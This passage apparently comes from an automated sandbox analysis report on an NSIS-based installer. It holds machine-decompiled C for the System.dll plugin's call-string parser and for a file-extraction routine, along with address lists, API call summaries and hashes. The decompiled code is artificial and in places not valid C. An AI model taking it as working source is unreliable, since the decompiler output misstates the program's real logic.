							 *_t284 =  *_t284 & 0x00000000;
							_t259 = _t258 - _t253;
							__eflags = _t259;
							 *(_t291 + 0x80c) = _t253;
							 *(_t291 + 4) = _t253;
							if(_t259 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L56;
								}
								_t290 = 0;
								GlobalFree(_t291);
								_t291 = E10001641(_v24);
								__eflags = _t291 - _t253;
								if(_t291 == _t253) {
									goto L56;
								} else {
									goto L28;
								}
								while(1) {
									L28:
									_t218 =  *(_t291 + 0x14a0);
									__eflags = _t218 - _t253;
									if(_t218 == _t253) {
										break;
									}
									_t290 = _t291;
									_t291 = _t218;
									__eflags = _t291 - _t253;
									if(_t291 != _t253) {
										continue;
									}
									break;
								}
								__eflags = _t290 - _t253;
								if(_t290 != _t253) {
									 *(_t290 + 0x14a0) = _t253;
								}
								_t219 =  *(_t291 + 0x810);
								__eflags = _t219 & 0x00000008;
								if((_t219 & 0x00000008) == 0) {
									 *(_t291 + 0x810) = _t219 | 0x00000002;
								} else {
									_t291 = E1000187C(_t291);
									 *(_t291 + 0x810) =  *(_t291 + 0x810) & 0xfffffff5;
								}
								goto L56;
							} else {
								_t266 = _t259 - 1;
								__eflags = _t266;
								if(_t266 == 0) {
									L24:
									lstrcpyA(_t190, _v44);
									L25:
									lstrcpyA(_t284, _v24);
									L56:
									_v28 = _v24;
									L57:
									_v8 = _v8 + 1;
									if(_v32 != 0xffffffff) {
										continue;
									}
									break;
								}
								_t267 = _t266 - 1;
								__eflags = _t267;
								if(_t267 == 0) {
									goto L25;
								}
								__eflags = _t267 != 1;
								if(_t267 != 1) {
									goto L56;
								}
								goto L24;
							}
						}
						if(_t188 == 1) {
							_t226 = _v16;
							if(_v40 == _t253) {
								_t226 = _t226 - 1;
							}
							 *(_t291 + 0x814) = _t226;
						}
						goto L56;
					}
					_t227 = _t186 - 0x23;
					if(_t227 == 0) {
						_v32 = _t253;
						_v36 = _t253;
						goto L13;
					}
					_t228 = _t227 - 5;
					if(_t228 == 0) {
						__eflags = _v36 - _t283;
						_v32 = 1;
						_v12 = _t253;
						_v20 = _t253;
						_v16 = (0 | _v36 == _t283) + 1;
						_v40 = _t253;
						goto L13;
					}
					_t232 = _t228 - 1;
					if(_t232 == 0) {
						_v32 = 2;
						_v12 = _t253;
						_v20 = _t253;
						goto L13;
					}
					if(_t232 != 0x16) {
						_t235 = _v32 - _t253;
						__eflags = _t235;
						if(_t235 == 0) {
							__eflags = _t282 - 0x2a;
							if(_t282 == 0x2a) {
								_v36 = 2;
								L55:
								_t253 = 0;
								__eflags = 0;
								goto L56;
							}
							__eflags = _t282 - 0x2d;
							if(_t282 == 0x2d) {
								L124:
								_t237 = _v8 + 1;
								__eflags =  *_t237 - 0x3e;
								if( *_t237 != 0x3e) {
									L126:
									_t237 = _v8 + 1;
									__eflags =  *_t237 - 0x3a;
									if( *_t237 != 0x3a) {
										L133:
										_v28 =  &(_v28[1]);
										 *_v28 = _t282;
										goto L57;
									}
									__eflags = _t282 - 0x2d;
									if(_t282 == 0x2d) {
										goto L133;
									}
									_v36 = 1;
									L129:
									_v8 = _t237;
									__eflags = _v28 - _v24;
									if(_v28 <= _v24) {
										 *_v44 =  *_v44 & 0x00000000;
									} else {
										 *_v28 =  *_v28 & 0x00000000;
										lstrcpyA(_v44, _v24);
									}
									goto L55;
								}
								_v36 = _t283;
								goto L129;
							}
							__eflags = _t282 - 0x3a;
							if(_t282 != 0x3a) {
								goto L133;
							}
							__eflags = _t282 - 0x2d;
							if(_t282 != 0x2d) {
								goto L126;
							}
							goto L124;
						}
						_t244 = _t235 - 1;
						__eflags = _t244;
						if(_t244 == 0) {
							L68:
							_t245 = _t257 - 0x22;
							__eflags = _t245 - 0x55;
							if(_t245 > 0x55) {
								goto L55;
							}
							switch( *((intOrPtr*)(( *(_t245 + 0x100023a0) & 0x000000ff) * 4 +  &M10002344))) {
								case 0:
									__eax = _v24;
									__edi = _v8;
									while(1) {
										__edi = __edi + 1;
										_v8 = __edi;
										__cl =  *__edi;
										__eflags = __cl - __dl;
										if(__cl != __dl) {
											goto L108;
										}
										L107:
										__eflags =  *(__edi + 1) - __dl;
										if( *(__edi + 1) != __dl) {
											L112:
											 *__eax =  *__eax & 0x00000000;
											__ebx = E10001550(_v24);
											goto L84;
										}
										L108:
										__eflags = __cl;
										if(__cl == 0) {
											goto L112;
										}
										__eflags = __cl - __dl;
										if(__cl == __dl) {
											__edi = __edi + 1;
											__eflags = __edi;
										}
										__cl =  *__edi;
										 *__eax =  *__edi;
										__eax = __eax + 1;
										__edi = __edi + 1;
										_v8 = __edi;
										__cl =  *__edi;
										__eflags = __cl - __dl;
										if(__cl != __dl) {
											goto L108;
										}
										goto L107;
									}
								case 1:
									_v12 = 1;
									goto L55;
								case 2:
									_v12 = _v12 | 0xffffffff;
									goto L55;
								case 3:
									_v12 = _v12 & 0x00000000;
									_v20 = _v20 & 0x00000000;
									_v16 = _v16 + 1;
									goto L73;
								case 4:
									__eflags = _v20;
									if(_v20 != 0) {
										goto L55;
									}
									_v8 = _v8 - 1;
									__ebx = E10001541();
									 &_v8 = E10001CD9( &_v8);
									__eax = E1000176C(__edx, __eax, __edx, __ebx);
									goto L84;
								case 5:
									L92:
									_v20 = _v20 + 1;
									goto L55;
								case 6:
									_push(0x19);
									goto L119;
								case 7:
									_push(0x15);
									goto L119;
								case 8:
									_push(0x16);
									goto L119;
								case 9:
									_push(0x18);
									goto L119;
								case 0xa:
									_push(5);
									goto L99;
								case 0xb:
									__eax = 0;
									__eax = 1;
									goto L78;
								case 0xc:
									_push(6);
									goto L99;
								case 0xd:
									_push(2);
									goto L99;
								case 0xe:
									_push(3);
									goto L99;
								case 0xf:
									_push(0x17);
									L119:
									_pop(__ebx);
									goto L85;
								case 0x10:
									__eax =  &_v8;
									__eax = E10001CD9( &_v8);
									__ebx = __eax;
									__ebx = __eax + 1;
									__eflags = __ebx - 0xb;
									if(__ebx < 0xb) {
										__ebx = __ebx + 0xa;
									}
									goto L84;
								case 0x11:
									__ebx = 0xffffffff;
									goto L85;
								case 0x12:
									__eax = 0;
									__eflags = 0;
									goto L78;
								case 0x13:
									_push(4);
									L99:
									_pop(__eax);
									L78:
									__edx = _v16;
									__ecx = 0;
									__edx = _v16 << 5;
									__ecx = 1;
									__eflags = _v12 - 0xffffffff;
									__edi = (_v16 << 5) + __esi;
									_v40 = 1;
									 *(__edi + 0x818) = __eax;
									if(_v12 == 0xffffffff) {
										L80:
										__eax = __ecx;
										L81:
										__eflags = _v12 - __ecx;
										 *(__edi + 0x828) = __eax;
										if(_v12 == __ecx) {
											__eax =  &_v8;
											__eax = E10001CD9( &_v8);
											__eax = __eax + 1;
											__eflags = __eax;
											_v12 = __eax;
										}
										__eax = _v12;
										 *((intOrPtr*)(__edi + 0x81c)) = _v12;
										_t126 = _v16 + 0x41; // 0x41
										_t126 = _t126 << 5;
										__eax = 0;
										__eflags = 0;
										 *((intOrPtr*)((_t126 << 5) + __esi)) = 0;
										 *((intOrPtr*)(__edi + 0x82c)) = 0;
										 *((intOrPtr*)(__edi + 0x830)) = 0;
										goto L84;
									}
									__eax =  *(0x10003058 + __eax * 4);
									__eflags = __eax;
									if(__eax > 0) {
										goto L81;
									}
									goto L80;
								case 0x14:
									_t247 =  *(_t291 + 0x814);
									__eflags = _t247 - _v16;
									if(_t247 > _v16) {
										_v16 = _t247;
									}
									_v12 = _v12 & 0x00000000;
									_v20 = _v20 & 0x00000000;
									_v36 - 3 = _t247 - (_v36 == 3);
									if(_t247 != _v36 == 3) {
										L73:
										_v40 = 1;
									}
									goto L55;
								case 0x15:
									__eax =  &_v8;
									__eax = E10001CD9( &_v8);
									__ebx = __eax;
									__ebx = __eax + 1;
									L84:
									__eflags = __ebx;
									if(__ebx == 0) {
										goto L55;
									}
									L85:
									__eflags = _v20;
									_v40 = 1;
									if(_v20 != 0) {
										L90:
										__eflags = _v20 - 1;
										if(_v20 == 1) {
											__eax = _v16;
											__eax = _v16 << 5;
											__eflags = __eax;
											 *(__eax + __esi + 0x830) = __ebx;
										}
										goto L92;
									}
									_v16 = _v16 << 5;
									_t134 = __esi + 0x82c; // 0x82c
									__edi = (_v16 << 5) + _t134;
									__eax =  *__edi;
									__eflags = __eax - 0xffffffff;
									if(__eax <= 0xffffffff) {
										L88:
										__eax = GlobalFree(__eax);
										L89:
										 *__edi = __ebx;
										goto L90;
									}
									__eflags = __eax - 0x19;
									if(__eax <= 0x19) {
										goto L89;
									}
									goto L88;
								case 0x16:
									goto L55;
							}
						}
						_t248 = _t244 - 1;
						__eflags = _t248;
						if(_t248 == 0) {
							_v16 = _t253;
							goto L68;
						}
						__eflags = _t248 != 1;
						if(_t248 != 1) {
							goto L133;
						}
						_t271 = _t257 - 0x21;
						__eflags = _t271;
						if(_t271 == 0) {
							_v12 =  ~_v12;
							goto L55;
						}
						_t272 = _t271 - 0x42;
						__eflags = _t272;
						if(_t272 == 0) {
							L51:
							__eflags = _v12 - 1;
							if(_v12 != 1) {
								_t84 = _t291 + 0x810;
								 *_t84 =  *(_t291 + 0x810) &  !0x00000001;
								__eflags =  *_t84;
							} else {
								 *(_t291 + 0x810) =  *(_t291 + 0x810) | 1;
							}
							_v12 = 1;
							goto L55;
						}
						_t276 = _t272;
						__eflags = _t276;
						if(_t276 == 0) {
							_push(0x20);
							L50:
							_pop(1);
							goto L51;
						}
						_t277 = _t276 - 9;
						__eflags = _t277;
						if(_t277 == 0) {
							_push(8);
							goto L50;
						}
						_push(4);
						_pop(1);
						_t278 = _t277 - 1;
						__eflags = _t278;
						if(_t278 == 0) {
							goto L51;
						}
						_t279 = _t278 - 1;
						__eflags = _t279;
						if(_t279 == 0) {
							_push(0x10);
							goto L50;
						}
						__eflags = _t279 != 0;
						if(_t279 != 0) {
							goto L55;
						}
						_push(0x40);
						goto L50;
					} else {
						_v32 = _t283;
						_v12 = 1;
						goto L13;
					}
				}
				GlobalFree(_v52);
				GlobalFree(_v24);
				GlobalFree(_v44);
				if(_t291 == _t253 ||  *(_t291 + 0x80c) != _t253) {
					L145:
					return _t291;
				} else {
					_t198 =  *_t291 - 1;
					if(_t198 == 0) {
						_t169 = _t291 + 8; // 0x8
						_t286 = _t169;
						__eflags =  *_t286;
						if( *_t286 != 0) {
							_t199 = GetModuleHandleA(_t286);
							__eflags = _t199 - _t253;
							 *(_t291 + 0x808) = _t199;
							if(_t199 != _t253) {
								L141:
								_t173 = _t291 + 0x408; // 0x408
								_t254 = _t173;
								_t200 = GetProcAddress( *(_t291 + 0x808), _t254);
								__eflags = _t200;
								 *(_t291 + 0x80c) = _t200;
								if(_t200 != 0) {
									goto L145;
								}
								lstrcatA(_t254, 0x10004024);
								_t202 = GetProcAddress( *(_t291 + 0x808), _t254);
								__eflags = _t202;
								L143:
								 *(_t291 + 0x80c) = _t202;
								if(__eflags != 0) {
									goto L145;
								}
								L144:
								_t178 = _t291 + 4;
								 *_t178 =  *(_t291 + 4) | 0xffffffff;
								__eflags =  *_t178;
								goto L145;
							}
							_t203 = LoadLibraryA(_t286);
							__eflags = _t203 - _t253;
							 *(_t291 + 0x808) = _t203;
							if(_t203 == _t253) {
								goto L144;
							}
							goto L141;
						}
						_t170 = _t291 + 0x408; // 0x408
						_t202 = E10001641(_t170);
						__eflags = _t202 - _t253;
						goto L143;
					}
					_t205 = _t198 - 1;
					if(_t205 == 0) {
						_t167 = _t291 + 0x408; // 0x408
						_t206 = _t167;
						__eflags =  *_t206;
						if( *_t206 == 0) {
							goto L145;
						}
						_t207 = E10001641(_t206);
						L136:
						 *(_t291 + 0x80c) = _t207;
						goto L145;
					}
					if(_t205 != 1) {
						goto L145;
					}
					_t72 = _t291 + 8; // 0x8
					_t255 = _t72;
					_t288 = E10001641(_t72);
					 *(_t291 + 0x808) = _t288;
					if(_t288 == 0) {
						goto L144;
					}
					 *(_t291 + 0x850) =  *(_t291 + 0x850) & 0x00000000;
					 *((intOrPtr*)(_t291 + 0x84c)) = E10001550(_t255);
					 *(_t291 + 0x83c) =  *(_t291 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t291 + 0x848)) = 1;
					 *((intOrPtr*)(_t291 + 0x838)) = 1;
					_t81 = _t291 + 0x408; // 0x408
					_t207 =  *(_t288->i + E10001641(_t81) * 4);
					goto L136;
				}
			}

0x10001d43
0x10001d46
0x10001d49
0x10001d4c
0x10001d4f
0x10001d52
0x10001d55
0x10001d57
0x10001d5c
0x10001d5f
0x10001d67
0x10001d6a
0x10001d6f
0x10001d72
0x10001d75
0x10001d75
0x10001d7c
0x10001d7d
0x10001d80
0x00000000
0x00000000
0x10001d8d
0x10001d8f
0x10001d94
0x10001d96
0x10001def
0x10001def
0x10001def
0x10001df3
0x10001df6
0x10001df8
0x10001e1a
0x10001e1d
0x10001e1f
0x10001e28
0x10001e2e
0x10001e30
0x10001e36
0x10001e36
0x10001e3c
0x10001e3f
0x10001e3f
0x10001e42
0x10001e42
0x10001e48
0x10001e4a
0x10001e4d
0x10001e53
0x10001e56
0x10001e56
0x10001e58
0x10001e5e
0x10001e61
0x10001e8c
0x10001e8f
0x00000000
0x00000000
0x10001e96
0x10001e98
0x10001ea6
0x10001ea9
0x10001eab
0x00000000
0x00000000
0x00000000
0x00000000
0x10001eb1
0x10001eb1
0x10001eb1
0x10001eb7
0x10001eb9
0x00000000
0x00000000
0x10001ebb
0x10001ebd
0x10001ebf
0x10001ec1
0x00000000
0x00000000
0x00000000
0x10001ec1
0x10001ec3
0x10001ec5
0x10001ec7
0x10001ec7
0x10001ecd
0x10001ed3
0x10001ed5
0x10001eeb
0x10001ed7
0x10001edd
0x10001ee0
0x10001ee0
0x00000000
0x10001e63
0x10001e63
0x10001e63
0x10001e64
0x10001e70
0x10001e74
0x10001e7a
0x10001e7e
0x10001f64
0x10001f67
0x10001f6a
0x10001f6a
0x10001f71
0x00000000
0x00000000
0x00000000
0x10001f71
0x10001e66
0x10001e66
0x10001e67
0x00000000
0x00000000
0x10001e69
0x10001e6a
0x00000000
0x00000000
0x00000000
0x10001e6a
0x10001e61
0x10001dfb
0x10001e04
0x10001e07
0x10001e14
0x10001e14
0x10001e09
0x10001e09
0x00000000
0x10001dfb
0x10001d98
0x10001d9b
0x10001de7
0x10001dea
0x00000000
0x10001dea
0x10001d9d
0x10001da0
0x10001dcb
0x10001dce
0x10001dd5
0x10001ddc
0x10001ddf
0x10001de2
0x00000000
0x10001de2
0x10001da2
0x10001da3
0x10001dba
0x10001dc1
0x10001dc4
0x00000000
0x10001dc4
0x10001da8
0x10001ef6
0x10001ef6
0x10001ef8
0x10002225
0x10002228
0x10002289
0x10001f62
0x10001f62
0x10001f62
0x00000000
0x10001f62
0x1000222a
0x1000222d
0x10002239
0x1000223c
0x1000223d
0x10002240
0x10002247
0x1000224a
0x1000224b
0x1000224e
0x10002295
0x10002298
0x1000229b
0x00000000
0x1000229b
0x10002250
0x10002253
0x00000000
0x00000000
0x10002255
0x1000225c
0x1000225c
0x10002262
0x10002265
0x10002281
0x10002267
0x10002270
0x10002273
0x10002273
0x00000000
0x10002265
0x10002242
0x00000000
0x10002242
0x1000222f
0x10002232
0x00000000
0x00000000
0x10002234
0x10002237
0x00000000
0x00000000
0x00000000
0x10002237
0x10001efe
0x10001efe
0x10001eff
0x10002026
0x10002026
0x1000202b
0x1000202e
0x00000000
0x00000000
0x1000203b
0x00000000
0x100021cd
0x100021d0
0x100021d3
0x100021d3
0x100021d4
0x100021d7
0x100021d9
0x100021db
0x00000000
0x00000000
0x100021dd
0x100021dd
0x100021e0
0x100021f2
0x100021f5
0x100021fe
0x00000000
0x100021fe
0x100021e2
0x100021e2
0x100021e4
0x00000000
0x00000000
0x100021e6
0x100021e8
0x100021ea
0x100021ea
0x100021ea
0x100021eb
0x100021ed
0x100021ef
0x100021d3
0x100021d4
0x100021d7
0x100021d9
0x100021db
0x00000000
0x00000000
0x00000000
0x100021db
0x00000000
0x10002082
0x00000000
0x00000000
0x1000208e
0x00000000
0x00000000
0x10002075
0x10002079
0x1000207d
0x00000000
0x00000000
0x1000219f
0x100021a3
0x00000000
0x00000000
0x100021a9
0x100021b1
0x100021b8
0x100021c0
0x00000000
0x00000000
0x10002147
0x10002147
0x00000000
0x00000000
0x1000221d
0x00000000
0x00000000
0x1000220d
0x00000000
0x00000000
0x10002211
0x00000000
0x00000000
0x10002219
0x00000000
0x00000000
0x1000215f
0x00000000
0x00000000
0x1000214f
0x10002151
0x00000000
0x00000000
0x10002167
0x00000000
0x00000000
0x10002157
0x00000000
0x00000000
0x1000215b
0x00000000
0x00000000
0x10002215
0x1000221f
0x1000221f
0x00000000
0x00000000
0x1000216f
0x10002173
0x10002178
0x1000217b
0x1000217c
0x1000217f
0x10002185
0x10002185
0x00000000
0x00000000
0x10002205
0x00000000
0x00000000
0x10002097
0x10002097
0x00000000
0x00000000
0x10002163
0x10002169
0x10002169
0x10002099
0x10002099
0x1000209c
0x1000209e
0x100020a1
0x100020a2
0x100020a6
0x100020a9
0x100020ac
0x100020b2
0x100020bf
0x100020bf
0x100020c1
0x100020c1
0x100020c4
0x100020ca
0x100020cc
0x100020d0
0x100020d5
0x100020d5
0x100020d7
0x100020d7
0x100020da
0x100020dd
0x100020e6
0x100020e9
0x100020ec
0x100020ec
0x100020ee
0x100020f1
0x100020f7
0x00000000
0x100020f7
0x100020b4
0x100020bb
0x100020bd
0x00000000
0x00000000
0x00000000
0x00000000
0x10002042
0x10002048
0x1000204b
0x1000204d
0x1000204d
0x10002050
0x10002054
0x10002061
0x10002063
0x10002069
0x10002069
0x10002069
0x00000000
0x00000000
0x1000218d
0x10002191
0x10002196
0x10002199
0x100020fd
0x100020fd
0x100020ff
0x00000000
0x00000000
0x10002105
0x10002105
0x10002109
0x10002110
0x10002134
0x10002134
0x10002138
0x1000213a
0x1000213d
0x1000213d
0x10002140
0x10002140
0x00000000
0x10002138
0x10002115
0x10002118
0x10002118
0x1000211f
0x10002121
0x10002124
0x1000212b
0x1000212c
0x10002132
0x10002132
0x00000000
0x10002132
0x10002126
0x10002129
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000203b
0x10001f05
0x10001f05
0x10001f06
0x10002023
0x00000000
0x10002023
0x10001f0c
0x10001f0d
0x00000000
0x00000000
0x10001f13
0x10001f13
0x10001f16
0x10001f5f
0x00000000
0x10001f5f
0x10001f18
0x10001f18
0x10001f1b
0x10001f43
0x10001f46
0x10001f49
0x10002015
0x10002015
0x10002015
0x10001f4f
0x10001f4f
0x10001f4f
0x1000201b
0x00000000
0x1000201b
0x10001f1e
0x10001f1e
0x10001f1f
0x10001f40
0x10001f42
0x10001f42
0x00000000
0x10001f42
0x10001f21
0x10001f21
0x10001f24
0x10001f3c
0x00000000
0x10001f3c
0x10001f26
0x10001f28
0x10001f29
0x10001f29
0x10001f2b
0x00000000
0x00000000
0x10001f2d
0x10001f2d
0x10001f2e
0x10001f38
0x00000000
0x10001f38
0x10001f31
0x10001f32
0x00000000
0x00000000
0x10001f34
0x00000000
0x10001dae
0x10001dae
0x10001db1
0x00000000
0x10001db1
0x10001da8
0x10001f80
0x10001f85
0x10001f8a
0x10001f8e
0x1000233d
0x10002343
0x10001fa0
0x10001fa2
0x10001fa3
0x100022c0
0x100022c0
0x100022c3
0x100022c6
0x100022da
0x100022e0
0x100022e2
0x100022e8
0x100022fb
0x10002301
0x10002301
0x1000230e
0x10002310
0x10002312
0x10002318
0x00000000
0x00000000
0x10002320
0x1000232d
0x1000232f
0x10002331
0x10002331
0x10002337
0x00000000
0x00000000
0x10002339
0x10002339
0x10002339
0x10002339
0x00000000
0x10002339
0x100022eb
0x100022f1
0x100022f3
0x100022f9
0x00000000
0x00000000
0x00000000
0x100022f9
0x100022c8
0x100022cf
0x100022d5
0x00000000
0x100022d5
0x10001fa9
0x10001faa
0x100022a2
0x100022a2
0x100022a8
0x100022ab
0x00000000
0x00000000
0x100022b2
0x100022b7
0x100022b8
0x00000000
0x100022b8
0x10001fb1
0x00000000
0x00000000
0x10001fb7
0x10001fb7
0x10001fc0
0x10001fc5
0x10001fcb
0x00000000
0x00000000
0x10001fd1
0x10001fde
0x10001fe4
0x10001fee
0x10001ff4
0x10001ffc
0x1000200c
0x00000000
0x1000200c

APIs

Part of subcall function 10001541: GlobalAlloc.KERNELBASE(00000040,10001577,?,?,10001804,?,10001017), ref: 10001549

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001E28
lstrcpyA.KERNEL32(00000008,?), ref: 10001E74
lstrcpyA.KERNEL32(00000408,?), ref: 10001E7E
GlobalFree.KERNEL32 ref: 10001E98
GlobalFree.KERNEL32 ref: 10001F80
GlobalFree.KERNEL32 ref: 10001F85
GlobalFree.KERNEL32 ref: 10001F8A
GlobalFree.KERNEL32 ref: 1000212C
lstrcpyA.KERNEL32(?,?), ref: 10002273
GetModuleHandleA.KERNEL32(00000008), ref: 100022DA
LoadLibraryA.KERNEL32(00000008), ref: 100022EB
GetProcAddress.KERNEL32(?,00000408), ref: 1000230E
lstrcatA.KERNEL32(00000408,10004024), ref: 10002320
GetProcAddress.KERNEL32(?,00000408), ref: 1000232D

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$lstrcpy$AddressAllocProc$HandleLibraryLoadModulelstrcat
String ID:
API String ID: 2432367840-0
Opcode ID: ee092e71ca505709d651e0729bf6a215d1fa5f7789b41da9f2bb1e621745af8d
Instruction ID: 43630dbe77052cbd99e7b50fc19318fc31bc1fc88c17e7e17ecc67392abc93a9
Opcode Fuzzy Hash: ee092e71ca505709d651e0729bf6a215d1fa5f7789b41da9f2bb1e621745af8d
Instruction Fuzzy Hash: 94029C71D0464ADFEB60CFA4C8807EEBBF4FB043C4F21852AE5A5A7189D7749A81DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00401734, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401734(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E004029F6(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x24) & 0x00000007;
				_t33 = E0040553D(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E004054D0(E004059DD(0x409b50, "C:\\Users\\jones\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409b50);
					E004059DD();
				}
				E00405C3F(0x409b50);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405CD8(0x409b50);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x18);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405695(0x409b50);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E004056B4(0x409b50, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0x34) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404D7B(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423f08;
						goto L32;
					} else {
						E004059DD(0x40a350, 0x424000);
						E004059DD(0x424000, 0x409b50);
						E004059FF(_t75, 0x40a350, 0x409b50, "C:\Users\jones\AppData\Local\Temp\nsf9A32.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x10)));
						E004059DD(0x424000, 0x40a350);
						_t62 = E0040529E("C:\Users\jones\AppData\Local\Temp\nsf9A32.tmp\System.dll",  *(_t85 - 0x24) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423f08 =  &( *0x423f08->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409b50);
								_push(0xfffffffa);
								E00404D7B();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404D7B(0xffffffea,  *(_t85 - 8));
				 *0x423f34 =  *0x423f34 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0x34));
				_push( *((intOrPtr*)(_t85 - 0x1c)));
				_t43 = E00402E5B(); // executed
				 *0x423f34 =  *0x423f34 - 1;
				__eflags =  *(_t85 - 0x18) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x18) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0x34), _t85 - 0x18, _t75, _t85 - 0x18); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x14)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x14)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 0x34)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffee);
					} else {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffe9);
						lstrcatA(0x409b50,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(0x409b50);
					E0040529E();
					goto L29;
				}
				goto L33;
			}

0x00401734
0x0040173b
0x00401744
0x00401747
0x0040174a
0x0040174f
0x00401757
0x00401773
0x00401759
0x00401759
0x0040175a
0x0040175a
0x00401779
0x00401783
0x00401783
0x00401787
0x0040178a
0x0040178f
0x00401791
0x00401793
0x00401798
0x00401798
0x004017a3
0x004017a3
0x004017b4
0x004017b6
0x004017b6
0x004017b7
0x004017b7
0x004017ba
0x004017bd
0x004017c0
0x004017c0
0x004017c7
0x004017d6
0x004017db
0x004017de
0x004017e1
0x00000000
0x00000000
0x004017e3
0x004017e6
0x00401840
0x00401845
0x004015a8
0x0040265c
0x0040265c
0x0040288b
0x0040288e
0x0040288e
0x00000000
0x004017e8
0x004017ee
0x004017f9
0x00401806
0x00401811
0x00401827
0x00401827
0x0040182a
0x00000000
0x00401830
0x00401830
0x00401831
0x0040184e
0x00402894
0x00402894
0x00402894
0x00401833
0x00401833
0x00401834
0x00401492
0x0040220e
0x0040220e
0x0040220e
0x00401831
0x0040182a
0x00402896
0x0040289a
0x0040289a
0x0040185e
0x00401863
0x00401869
0x0040186a
0x0040186b
0x0040186e
0x00401871
0x00401876
0x0040187c
0x00401880
0x00401882
0x0040188a
0x00401896
0x00401884
0x00401884
0x00401888
0x00000000
0x00000000
0x00401888
0x0040189f
0x004018a5
0x004018a7
0x00000000
0x004018ad
0x004018ad
0x004018b0
0x004018c8
0x004018b2
0x004018b5
0x004018be
0x004018be
0x004018cd
0x004018d2
0x00402209
0x00000000
0x00402209
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,00423680,NSIS Error), ref: 004059EA

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32 ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32 ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32 ref: 00404E37

Strings

Call, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp, xrefs: 00401761
C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll, xrefs: 00401801, 0040181D
